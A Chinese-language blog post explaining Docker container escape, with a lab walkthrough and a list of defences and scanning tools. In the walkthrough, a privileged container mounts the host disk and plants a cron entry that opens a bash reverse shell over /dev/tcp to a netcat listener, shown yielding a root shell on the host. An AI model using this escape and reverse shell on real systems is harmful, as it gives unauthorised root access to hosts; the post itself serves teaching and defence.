Docker 逃逸介绍

发布时间: 更新时间: 总字数:687 阅读时间:2m 作者: 分享 复制网址

Docker逃逸 指容器可以访问到宿主主机的权限。

原因

  • 内核漏洞引起
  • Docker 软件设计引起,如2019年2月被爆出来过一个 Docker 逃逸漏洞 CVE-2019-5736
  • Docker 特权模式(如 docker run --privileged)与配置不当引起

Docker逃逸实验

特权模式 + 目录挂载

$ docker run -it --privileged ubuntu /bin/bash
  • 容器内看到宿主机的磁盘目录
$ docker exec -it 023 bash
root@0239a461d3c2:/# cat /etc/issue
Ubuntu 20.04.3 LTS \n \l
root@0239a461d3c2:/# fdisk -l
...
Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: EE6B35AB-2B9A-4FE0-81F3-03A8B0BB88CC
...
  • /dev/sda 挂载到容器内
root@0239a461d3c2:/# mkdir /test
root@0239a461d3c2:/# mount /dev/sda2 /test
root@0239a461d3c2:/# ls /test/
bin   cdrom  etc   lib    lib64   media  opt   root  sbin  srv       sys  usr
boot  dev    home  lib32  libx32  mnt    proc  run   snap  swapfile  tmp  var
root@0239a461d3c2:/# ls /test/root/
snap

通过 crontab 实现宿主机连接到容器,172.17.0.2 为容器 ip 地址

echo '* * * * * bash -i >& /dev/tcp/172.17.0.2/8888 0>&1' >> /test/var/spool/cron/crontabs/root
  • 容器内安装 netcat 并监听在 8888 端口,等待宿主机连接
root@0239a461d3c2:/# apt udpate
root@0239a461d3c2:/# apt install netcat-openbsd -y
root@0239a461d3c2:/# nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.1 47284
root@ubuntu:~# ls
ls
1
snap
root@ubuntu:~#

Docker 逃逸防御

  • 更新 docker/runc/k8s 到使用最新稳定版,规避 CVE-2019-14271、CVE-2019-5736等漏洞
  • Linux内核版本>=2.6.22或>=4.14,规避脏牛 CVE-2016-5195、CVE-2017–1000405
  • 不建议以 root 权限运行 Docker 服务
  • 不建议以 --privileged(特权模式)启动 Docker 容器
  • 不建议将容器以 —cap-add=SYSADMIN 启动
    • SYSADMIN 表示容器进程允许执行 mount、umount 等系统管理操作,存在容器逃逸风险
  • 不建议将宿主机目录挂载至容器内
  • 不建议挂载 Docker Socket 到容器
  • 不建议挂载挂载宿主机的 procfs 到容器

容器安全

  • 使用安全工具 trivy 扫描容器映像、文件系统和Git存储库中的漏洞,以及配置问题
  • Clair 是一个开源项目,它提供了一个通过对 appc 和 docker 容器中的漏洞进行静态分析来监控容器安全性的工具
最新评论
加载中...
Home Archives Categories Tags Statistics